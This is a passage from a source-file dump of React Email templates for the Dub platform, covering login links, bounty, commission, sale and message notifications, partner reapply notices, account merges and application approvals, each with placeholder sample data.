href={`${APP_DOMAIN}/${slug}/settings/billing`}\n              >\n                Upgrade my plan\n              </Link>\n            </Section>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/login-link.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function LoginLink({\n  email = \"panic@thedis.co\",\n  url = \"http://localhost:8888/api/auth/callback/email?callbackUrl=http%3A%2F%2Fapp.localhost%3A3000%2Flogin&token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&email=youremail@gmail.com\",\n}: {\n  email: string;\n  url: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Your Dub Login Link</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              Your Login Link\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Welcome to Dub!\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              Please click the magic link below to sign in to your account.\n            </Text>\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={url}\n              >\n                Sign in\n              </Link>\n            </Section>\n            <Text className=\"text-sm leading-6 text-black\">\n              or copy and paste this URL into your browser:\n            </Text>\n            <Text className=\"max-w-sm flex-wrap break-words font-medium text-purple-600 no-underline\">\n              {url.replace(/^https?:\\/\\//, \"\")}\n            </Text>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/new-bounty-available.tsx",
    "content": "import { DUB_WORDMARK, formatDate } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Markdown,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { BountyThumbnailImage } from \"../components/bounty-thumbnail\";\nimport { Footer } from \"../components/footer\";\n\nexport default function NewBountyAvailable({\n  bounty = {\n    id: \"bty_xxx\",\n    name: \"Promote Acme at your campus and earn $500\",\n    type: \"performance\",\n    endsAt: new Date(),\n    description:\n      \"How **does** it work?\\n\\nGet a group _together_ of at least 15 other people interested in trying out [Acme](https://dub.co). Then, during the event, take a photo of the group using Acme. When submitting, provide any links to the event or photos. Once confirmed, we'll create a one-time commission for you.\",\n  },\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n  },\n  email = \"panic@thedis.co\",\n}: {\n  bounty: {\n    id: string;\n    name: string;\n    type: \"performance\" | \"submission\";\n    endsAt: Date | null;\n    description: string | null;\n  };\n  program: {\n    name: string;\n    slug: string;\n  };\n  email: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>New bounty available for {program.name}</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Heading className=\"bt-5 mx-0 mt-10 p-0 text-lg font-medium text-black\">\n              New bounty available for {program.name}\n            </Heading>\n\n            <Section className=\"rounded-xl border border-solid border-neutral-200 bg-white\">\n              <Section className=\"h-[140px] rounded-none rounded-t-xl bg-gray-50 py-1.5 text-center\">\n                <BountyThumbnailImage type={bounty.type} />\n              </Section>\n\n              <Section className=\"flex gap-1 p-6\">\n                <Text className=\"m-0 p-0 text-base font-semibold text-neutral-900\">\n                  {bounty.name}\n                </Text>\n                {bounty.endsAt && (\n                  <Text className=\"m-0 p-0 text-sm font-medium text-neutral-500\">\n                    Ends {formatDate(bounty.endsAt)}\n                  </Text>\n                )}\n              </Section>\n\n              {bounty.description && (\n                <Section className=\"border-t border-solid border-neutral-200 p-6\">\n                  <Text className=\"m-0 p-0 text-sm font-semibold text-neutral-900\">\n                    Details\n                  </Text>\n                  <Section className=\"p-0 text-sm font-medium text-neutral-500\">\n                    <Markdown\n                      markdownCustomStyles={{ link: { color: \"black\" } }}\n                    >\n                      {bounty.description}\n                    </Markdown>\n                  </Section>\n                </Section>\n              )}\n\n              <Section className=\"px-6 pb-6 text-center\">\n                <Link\n                  href={`https://partners.dub.co/programs/${program.slug}/bounties/${bounty.id}`}\n                  className=\"box-border block w-full rounded-md bg-black px-2 py-4 text-center text-sm font-medium leading-none text-white no-underline\"\n                >\n                  View bounty\n                </Link>\n              </Section>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/new-commission-alert-partner.tsx",
    "content": "import { currencyFormatter, DUB_WORDMARK, getPrettyUrl } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function NewCommissionAlertPartner({\n  email = \"panic@thedis.co\",\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n    logo: DUB_WORDMARK,\n  },\n  group = {\n    holdingPeriodDays: 30,\n  },\n  commission = {\n    type: \"sale\",\n    amount: 25000,\n    earnings: 6900,\n  },\n  shortLink = \"https://refer.dub.co/steven\",\n}: {\n  email: string;\n  program: {\n    name: string;\n    slug: string;\n    logo: string | null;\n  };\n  group: {\n    holdingPeriodDays: number;\n  };\n  commission: {\n    type: \"click\" | \"lead\" | \"sale\" | \"custom\";\n    amount: number;\n    earnings: number;\n  };\n  shortLink?: string | null;\n}) {\n  const earningsInDollars = currencyFormatter(commission.earnings);\n  const linkToEarnings = `https://partners.dub.co/programs/${program.slug}/earnings`;\n\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        You just earned {earningsInDollars} in commissions via{\" \"}\n        {shortLink\n          ? `your referral link ${getPrettyUrl(shortLink)}`\n          : \"Dub Partners\"}\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img\n                src={program.logo || \"https://assets.dub.co/wordmark.png\"}\n                height=\"32\"\n                alt={program.name}\n              />\n            </Section>\n\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              You just earned {earningsInDollars} in commissions!\n            </Heading>\n\n            {![\"custom\", \"click\"].includes(commission.type) && (\n              <Text className=\"text-sm leading-6 text-neutral-600\">\n                Congratulations! Someone{\" \"}\n                {commission.type === \"lead\" ? (\n                  \"signed up\"\n                ) : (\n                  <>\n                    made a{\" \"}\n                    <strong className=\"text-black\">\n                      {currencyFormatter(commission.amount)}\n                    </strong>{\" \"}\n                    purchase\n                  </>\n                )}{\" \"}\n                on <strong className=\"text-black\">{program.name}</strong>\n                {shortLink ? (\n                  <>\n                    {\" \"}\n                    using your referral link (\n                    <a\n                      href={shortLink}\n                      className=\"text-semibold font-medium text-black underline\"\n                    >\n                      {getPrettyUrl(shortLink)}\n                    </a>\n                    )\n                  </>\n                ) : (\n                  \"\"\n                )}\n                .\n              </Text>\n            )}\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              {[\"custom\", \"click\"].includes(commission.type)\n                ? \"Congratulations! \"\n                : \"\"}\n              You received{\" \"}\n              <strong className=\"text-black\">{earningsInDollars}</strong> in\n              commission\n              {commission.type === \"custom\" ? (\n                \"\"\n              ) : commission.type === \"click\" ? (\n                <>\n                  {\" \"}\n                  for your clicks to{\" \"}\n                  <strong className=\"text-black\">{program.name}</strong>\n                </>\n              ) : (\n                ` for this ${commission.type}`\n              )}\n              {commission.type !== \"custom\" && group.holdingPeriodDays > 0 ? (\n                <>\n                  {\" \"}\n                  and it will be eligible for payout after the program's{\" \"}\n                  {group.holdingPeriodDays}-day holding period (\n                  <strong>\n                    {new Date(\n                      Date.now() +\n                        group.holdingPeriodDays * 24 * 60 * 60 * 1000,\n                    ).toLocaleDateString(\"en-US\", {\n                      month: \"long\",\n                      day: \"numeric\",\n                      year: \"numeric\",\n                    })}\n                  </strong>\n                  )\n                </>\n              ) : (\n                \" and it will be included in your next payout\"\n              )}\n              .\n            </Text>\n\n            <Section className=\"mb-12 mt-8\">\n              <Link\n                className=\"rounded-lg bg-neutral-900 px-4 py-3 text-[12px] font-semibold text-white no-underline\"\n                href={linkToEarnings}\n              >\n                View earnings\n              </Link>\n            </Section>\n            <Footer\n              email={email}\n              notificationSettingsUrl=\"https://partners.dub.co/profile/notifications\"\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/new-message-from-partner.tsx",
    "content": "import { DUB_WORDMARK, OG_AVATAR_URL } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Markdown,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nconst MAX_DISPLAYED_MESSAGES = 3;\n\nexport default function NewMessageFromPartner({\n  workspaceSlug = \"acme\",\n  partner = {\n    id: \"pn_xxx\",\n    name: \"Marvin Ta\",\n    image: null,\n  },\n  messages = [\n    {\n      text: \"Am I eligible for that one _bounty_?\",\n      createdAt: new Date(Date.now() - 1000 * 60 * 5),\n    },\n  ],\n  email = \"panic@thedis.co\",\n}: {\n  workspaceSlug: string;\n  partner: {\n    id: string;\n    name: string;\n    image: string | null;\n  };\n  messages: {\n    text: string;\n    createdAt: Date;\n  }[];\n  email: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>New message from {partner.name}</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Section className=\"my-8\">\n              <Heading className=\"my-0 text-lg font-semibold text-black\">\n                {messages.length > 1\n                  ? `${messages.length} new messages`\n                  : \"New message\"}{\" \"}\n                from {partner.name}\n              </Heading>\n              <Link\n                className=\"text-[13px] font-medium text-neutral-500 underline\"\n                href={`https://app.dub.co/${workspaceSlug}/program/partners/${partner.id}`}\n              >\n                View profile in Dub\n              </Link>\n            </Section>\n\n            <Section className=\"rounded-xl border border-solid border-neutral-200 p-6\">\n              {messages.slice(0, MAX_DISPLAYED_MESSAGES).map((message, idx) => (\n                <Row className={idx > 0 ? \"pt-3\" : \"\"}>\n                  <Column className=\"align-bottom\">\n                    <Img\n                      src={partner.image || `${OG_AVATAR_URL}${partner.id}`}\n                      width=\"32\"\n                      height=\"32\"\n                      alt={partner.id}\n                      className=\"rounded-full\"\n                    />\n                  </Column>\n                  <Column className=\"w-full pl-2\">\n                    <Markdown\n                      markdownCustomStyles={{ link: { color: \"black\" } }}\n                      markdownContainerStyles={{\n                        borderRadius: 8,\n                        background: \"#f5f5f5\",\n                        padding: \"1px 16px\",\n                        fontSize: 14,\n                        lineHeight: \"20px\",\n                        color: \"#262626\",\n                      }}\n                    >\n                      {message.text}\n                    </Markdown>\n                  </Column>\n                </Row>\n              ))}\n              {messages.length > MAX_DISPLAYED_MESSAGES && (\n                <Text className=\"mt-4 text-center text-[12px] text-neutral-500\">\n                  {messages.length - MAX_DISPLAYED_MESSAGES} more messages from{\" \"}\n                  {partner.name}\n                </Text>\n              )}\n              <Link\n                className=\"mt-4 block rounded-lg bg-neutral-900 px-6 py-3 text-center text-[13px] font-medium text-white no-underline\"\n                href={`https://app.dub.co/${workspaceSlug}/program/messages/${partner.id}`}\n              >\n                View in Dub\n              </Link>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/new-message-from-program.tsx",
    "content": "import { DUB_WORDMARK, OG_AVATAR_URL } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Markdown,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nconst MAX_DISPLAYED_MESSAGES = 3;\n\nexport default function NewMessageFromProgram({\n  program = {\n    name: \"Acme\",\n    slug: \"acme\",\n    logo: \"https://assets.dub.co/misc/acme-logo.png\",\n  },\n  messages = [\n    {\n      text: \"You are **for sure** eligible. We'll most likely make those changes within the next day or two. Stay tuned.\",\n      createdAt: new Date(Date.now() - 1000 * 60 * 5),\n      user: {\n        name: \"Brendan Urie\",\n        image: null,\n      },\n    },\n    {\n      text: \"You're all set now!\",\n      createdAt: new Date(),\n      user: {\n        name: \"Brendan Urie\",\n        image: null,\n      },\n    },\n  ],\n  email = \"panic@thedis.co\",\n}: {\n  program: {\n    name: string;\n    slug: string;\n    logo: string | null;\n  };\n  messages: {\n    text: string;\n    createdAt: Date;\n    user: {\n      name: string;\n      image: string | null;\n    };\n  }[];\n  email: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>New message from {program.name}</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-8 max-w-[600px] px-8 py-8\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n\n            <Section className=\"my-8\">\n              <div className=\"flex items-center\">\n                <Img\n                  src={program.logo || \"https://assets.dub.co/wordmark.png\"}\n                  width=\"32\"\n                  height=\"32\"\n                  alt={program.name}\n                  className=\"rounded-full\"\n                />\n                <Section className=\"ml-4\">\n                  <Heading className=\"my-0 text-lg font-semibold text-black\">\n                    {program.name} sent{\" \"}\n                    {messages.length > 1\n                      ? `${messages.length} messages`\n                      : \"a message\"}\n                  </Heading>\n                  <Link\n                    className=\"text-[13px] font-medium text-neutral-500 underline\"\n                    href={`https://partners.dub.co/programs/${program.slug}`}\n                  >\n                    View program in Dub\n                  </Link>\n                </Section>\n              </div>\n            </Section>\n\n            <Section className=\"rounded-xl border border-solid border-neutral-200 p-6\">\n              {messages.slice(0, MAX_DISPLAYED_MESSAGES).map((message, idx) => (\n                <Row className={idx > 0 ? \"pt-3\" : \"\"}>\n                  <Column className=\"align-bottom\">\n                    <Img\n                      src={\n                        message.user.image ||\n                        `${OG_AVATAR_URL}${message.user.name}`\n                      }\n                      width=\"32\"\n                      height=\"32\"\n                      alt={message.user.name}\n                      className=\"rounded-full\"\n                    />\n                  </Column>\n                  <Column className=\"w-full pl-2\">\n                    <Text className=\"my-0 text-[12px] font-medium text-neutral-500\">\n                      <span className=\"text-neutral-700\">\n                        {message.user.name}\n                      </span>\n                      &nbsp;&nbsp;\n                      {message.createdAt.toLocaleTimeString(\"en-US\", {\n                        hour: \"numeric\",\n                        minute: \"numeric\",\n                      })}\n                    </Text>\n                    <Markdown\n                      markdownCustomStyles={{ link: { color: \"black\" } }}\n                      markdownContainerStyles={{\n                        borderRadius: 8,\n                        background: \"#f5f5f5\",\n                        padding: \"1px 16px\",\n                        fontSize: 14,\n                        lineHeight: \"20px\",\n                        color: \"#262626\",\n                      }}\n                    >\n                      {message.text}\n                    </Markdown>\n                  </Column>\n                </Row>\n              ))}\n              {messages.length > MAX_DISPLAYED_MESSAGES && (\n                <Text className=\"mt-4 text-center text-[12px] text-neutral-500\">\n                  {messages.length - MAX_DISPLAYED_MESSAGES} more messages from{\" \"}\n                  {program.name}\n                </Text>\n              )}\n              <Link\n                className=\"mt-4 block rounded-lg bg-neutral-900 px-6 py-3 text-center text-[13px] font-medium text-white no-underline\"\n                href={`https://partners.dub.co/messages/${program.slug}`}\n              >\n                Reply in Dub\n              </Link>\n            </Section>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/new-referral-signup.tsx",
    "content": "import { DUB_WORDMARK, getPrettyUrl } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport const REFERRAL_CLICKS_QUOTA_BONUS = 500;\n\nexport default function NewReferralSignup({\n  email = \"panic@thedis.co\",\n  workspace = {\n    name: \"Acme, Inc\",\n    slug: \"acme\",\n  },\n}: {\n  email: string;\n  workspace: {\n    name: string;\n    slug: string;\n  };\n}) {\n  const referralLink = `https://refer.dub.co/${workspace.slug}`;\n  return (\n    <Html>\n      <Head />\n      <Preview>New referral signup</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img src={DUB_WORDMARK} height=\"32\" alt=\"Dub\" />\n            </Section>\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              New referral signup\n            </Heading>\n            <Text className=\"text-sm leading-6 text-black\">\n              Congratulations – someone just signed up for Dub using your\n              referral link:{\" \"}\n              <a\n                href={referralLink}\n                className=\"text-semibold font-medium text-black underline\"\n              >\n                {getPrettyUrl(referralLink)}\n              </a>\n            </Text>\n            <Text className=\"text-sm leading-6 text-black\">\n              As a thank you from us for spreading the word about Dub, you've\n              earned an additional {REFERRAL_CLICKS_QUOTA_BONUS} clicks quota\n              for your{\" \"}\n              <a\n                href={`https://app.dub.co/${workspace.slug}`}\n                className=\"text-semibold font-medium text-black underline\"\n              >\n                {workspace.name}\n              </a>{\" \"}\n              workspace on Dub.\n            </Text>\n            <Section className=\"my-8\">\n              <Link\n                className=\"rounded-lg bg-black px-6 py-3 text-center text-[12px] font-semibold text-white no-underline\"\n                href={`https://app.dub.co/${workspace.slug}`}\n              >\n                View your referral stats\n              </Link>\n            </Section>\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/new-sale-alert-program-owner.tsx",
    "content": "import { capitalize, currencyFormatter, DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function NewSaleAlertProgramOwner({\n  user = {\n    name: \"Brendan Urie\",\n    email: \"panic@thedis.co\",\n  },\n  workspace = {\n    name: \"Acme\",\n    slug: \"acme\",\n  },\n  program = {\n    name: \"Acme\",\n    logo: DUB_WORDMARK,\n  },\n  group = {\n    holdingPeriodDays: 30,\n  },\n  partner = {\n    id: \"pn_OfewI1Faaf5pV8QH3mha8L7S\",\n    name: \"Steven\",\n    email: \"steven@dub.co\",\n  },\n  commission = {\n    amount: 1330,\n    earnings: 399,\n  },\n}: {\n  user: {\n    name?: string | null;\n    email: string;\n  };\n  workspace: {\n    name: string;\n    slug: string;\n  };\n  program: {\n    name: string;\n    logo: string | null;\n  };\n  group: {\n    holdingPeriodDays: number;\n  };\n  partner: {\n    id: string;\n    name: string | null;\n    email: string | null;\n  };\n  commission: {\n    amount: number;\n    earnings: number;\n  };\n}) {\n  const salesLink = `https://app.dub.co/${workspace.slug}/program/commissions?partnerId=${partner.id}`;\n  const notificationPreferencesLink = `https://app.dub.co/${workspace.slug}/settings/notifications`;\n\n  const saleAmountInDollars = currencyFormatter(commission.amount);\n\n  const earningsInDollars = currencyFormatter(commission.earnings);\n\n  const profitInDollars = currencyFormatter(\n    commission.amount - commission.earnings,\n  );\n\n  let formattedDueDate = \"\";\n\n  if (group.holdingPeriodDays > 0) {\n    const dueDate = new Date();\n    dueDate.setDate(dueDate.getDate() + group.holdingPeriodDays);\n\n    formattedDueDate = dueDate.toLocaleDateString(\"en-US\", {\n      month: \"long\",\n      day: \"numeric\",\n      year: \"numeric\",\n    });\n  }\n\n  const finalName = user.name\n    ? user.name.split(\" \")[0]\n    : capitalize(user.email.split(\"@\")[0]);\n\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        You received a {saleAmountInDollars} sale from a new customer! 💰\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mt-8\">\n              <Img\n                src={program.logo || \"https://assets.dub.co/wordmark.png\"}\n                height=\"32\"\n                alt={program.name}\n              />\n            </Section>\n\n            <Heading className=\"mx-0 my-7 p-0 text-lg font-medium text-black\">\n              New customer referred by {partner.name}\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              <strong>{program.name}</strong> earned a sale from a new customer\n              referred by{\" \"}\n              <strong>\n                {partner.name\n                  ? `${partner.name} (${partner.email})`\n                  : partner.email}\n              </strong>\n              .\n            </Text>\n\n            <Section className=\"my-8 w-full\">\n              <div className=\"rounded-lg\">\n                <Row>\n                  <Column>\n                    <Text className=\"m-0 text-sm leading-6 text-neutral-600\">\n                      Sale amount\n                    </Text>\n                  </Column>\n                  <Column align=\"right\">\n                    <Text className=\"m-0 text-sm font-medium leading-6 text-neutral-600\">\n                      {saleAmountInDollars} USD\n                    </Text>\n                  </Column>\n                </Row>\n\n                <Row>\n                  <Column>\n                    <Text className=\"m-0 text-sm leading-6 text-neutral-600\">\n                      Partner commission\n                    </Text>\n                  </Column>\n                  <Column align=\"right\">\n                    <Text className=\"m-0 text-sm font-medium leading-6 text-neutral-600\">\n                      -{earningsInDollars} USD\n                    </Text>\n                  </Column>\n                </Row>\n\n                <div className=\"my-4 h-px w-full bg-neutral-200\" />\n\n                <Row>\n                  <Column>\n                    <Text className=\"m-0 text-sm font-medium leading-6 text-black\">\n                      Your profit\n                    </Text>\n                  </Column>\n                  <Column align=\"right\">\n                    <Text className=\"m-0 text-sm font-medium leading-6 text-black\">\n                      {profitInDollars} USD\n                    </Text>\n                  </Column>\n                </Row>\n              </div>\n            </Section>\n\n            {formattedDueDate && (\n              <Text className=\"text-sm leading-6 text-neutral-600\">\n                Payment for this commission will be due on{\" \"}\n                <strong>{formattedDueDate}</strong>, as per this partner group's{\" \"}\n                <Link\n                  href=\"https://dub.co/help/article/partner-payouts#payout-holding-period\"\n                  className=\"font-semibold text-black underline\"\n                >\n                  holding period\n                </Link>\n                .\n              </Text>\n            )}\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              You can view sales and commissions in the{\" \"}\n              <Link\n                href={salesLink}\n                className=\"font-semibold text-black underline\"\n              >\n                program dashboard\n              </Link>\n              .\n            </Text>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              <Link\n                href={notificationPreferencesLink}\n                className=\"text-neutral-500 underline\"\n              >\n                Change your notification preferences\n              </Link>\n            </Text>\n\n            <Footer\n              email={user.email}\n              notificationSettingsUrl={notificationPreferencesLink}\n            />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/notify-partner-reapply.tsx",
    "content": "import { DUB_WORDMARK, OG_AVATAR_URL } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function NotifyPartnerReapply({\n  partner = {\n    name: \"John Doe\",\n    email: \"john@example.com\",\n  },\n  programs = [\n    {\n      name: \"Acme\",\n      slug: \"acme\",\n      logo: \"https://dubassets.com/programs/prog_CYCu7IMAapjkRpTnr8F1azjN/logo_HPEaC8P\",\n    },\n    {\n      name: \"Dub\",\n      slug: \"dub\",\n      logo: \"https://dubassets.com/programs/prog_d8pl69xXCv4AoHNT281pHQdo/logo_TMLMTHs\",\n    },\n  ],\n}: {\n  partner: {\n    name?: string | null;\n    email: string;\n  };\n  programs: {\n    name: string;\n    slug: string;\n    logo?: string | null;\n  }[];\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>\n        There was a problem with your applications to these programs. Please\n        reapply.\n      </Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] rounded border border-solid border-neutral-200 px-10 py-5\">\n            <Section className=\"mb-8 mt-6\">\n              <Img src={DUB_WORDMARK} width=\"65\" height=\"32\" alt=\"dub\" />\n            </Section>\n\n            <Heading className=\"mx-0 p-0 text-lg font-medium text-neutral-800\">\n              Please resubmit your applications to these programs\n            </Heading>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              Hi {partner.name ? partner.name.split(\" \")[0] : \"there\"}! Due to a\n              technical issue, your applications to the following programs were\n              not submitted correctly:\n            </Text>\n\n            <Section className=\"text-base\">\n              {programs.map((program) => (\n                <Row key={program.slug} className=\"h-10\">\n                  <Column>\n                    <Row>\n                      <Column width=\"32\">\n                        <Img\n                          src={\n                            program.logo || `${OG_AVATAR_URL}${program.name}`\n                          }\n                          width=\"20\"\n                          height=\"20\"\n                          alt=\"Program logo\"\n                          className=\"rounded-full border border-neutral-200\"\n                        />\n                      </Column>\n                      <Column className=\"text-sm font-semibold text-neutral-800\">\n                        {program.name}\n                      </Column>\n                    </Row>\n                  </Column>\n                  <Column className=\"text-right text-sm\">\n                    <Link\n                      href={`https://partners.dub.co/programs/marketplace/${program.slug}`}\n                      className=\"rounded-lg border border-neutral-200 px-2 py-1 text-sm font-medium text-neutral-600 no-underline\"\n                    >\n                      Reapply\n                    </Link>\n                  </Column>\n                </Row>\n              ))}\n            </Section>\n\n            <Text className=\"text-sm leading-6 text-neutral-600\">\n              The issue has been fixed, but you will need to resubmit your\n              applications to these programs. We truly apologize for the\n              inconvenience.\n            </Text>\n\n            <Footer email={partner.email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-account-merged.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Container,\n  Head,\n  Heading,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function PartnerAccountMerged({\n  email = \"panic@thedis.co\",\n  sourceEmail = \"source@thedis.co\",\n  targetEmail = \"target@thedis.co\",\n}: {\n  email: string;\n  sourceEmail: string;\n  targetEmail: string;\n}) {\n  return (\n    <Html>\n      <Head />\n      <Preview>Your Dub partner accounts are now merged</Preview>\n      <Tailwind>\n        <Body className=\"mx-auto my-auto bg-white font-sans\">\n          <Container className=\"mx-auto my-10 max-w-[600px] px-10 py-5\">\n            <Section className=\"mb-8 flex items-center\">\n              <Img\n                src={DUB_WORDMARK}\n                height=\"32\"\n                alt=\"Dub\"\n                className=\"mr-auto\"\n              />\n            </Section>\n\n            <Heading className=\"p-0 text-xl font-semibold text-black\">\n              Your Dub partner accounts are now merged\n            </Heading>\n\n            <Text className=\"text-base text-neutral-600\">\n              Your account <strong>{sourceEmail}</strong>, has been successfully\n              merged with <strong>{targetEmail}</strong>.\n            </Text>\n\n            <Text className=\"text-base text-neutral-600\">\n              The merged account ({sourceEmail}) has been deleted. To use Dub\n              with that email, a new account will need to be created.\n            </Text>\n\n            <Text className=\"text-base text-neutral-600\">\n              <Link href=\"https://dub.co/support\">Contact support</Link> if you\n              have any questions.\n            </Text>\n\n            <Footer email={email} />\n          </Container>\n        </Body>\n      </Tailwind>\n    </Html>\n  );\n}\n"
  },
  {
    "path": "packages/email/src/templates/partner-application-approved.tsx",
    "content": "import { DUB_WORDMARK } from \"@dub/utils\";\nimport {\n  Body,\n  Column,\n  Container,\n  Head,\n  Heading,\n  Hr,\n  Html,\n  Img,\n  Link,\n  Preview,\n  Row,\n  Section,\n  Tailwind,\n  Text,\n} from \"@react-email/components\";\nimport { Footer } from \"../components/footer\";\n\nexport default function PartnerApplicationApproved({\n  program = {\n    name: \"Acme\",\n    logo: DUB_WORDMARK,\n    slug: \"acme\",\n  },\n  partner = {\n    name: \"John Doe\",\n    email: \"panic@thedis.co\",\n    payoutsEnabled: false,\n  },\n  rewards = [\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/invoice-dollar.png\",\n      label: \"Earn up to 65% per sale for 1 year\",\n    },\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/gift.png\",\n      label: \"New users get 20% off for 3 months\",\n    },\n  ],\n  bounties = [\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/heart.png\",\n      label: \"Create a YouTube video about Acme\",\n    },\n    {\n      icon: \"https://assets.dub.co/email-assets/icons/trophy.png\",\n      label: \"Earn $100 after generating $1,000 in revenue\",\n    },\n  ],\n}: {\n  program: {\n    name: string;\n    logo: string | 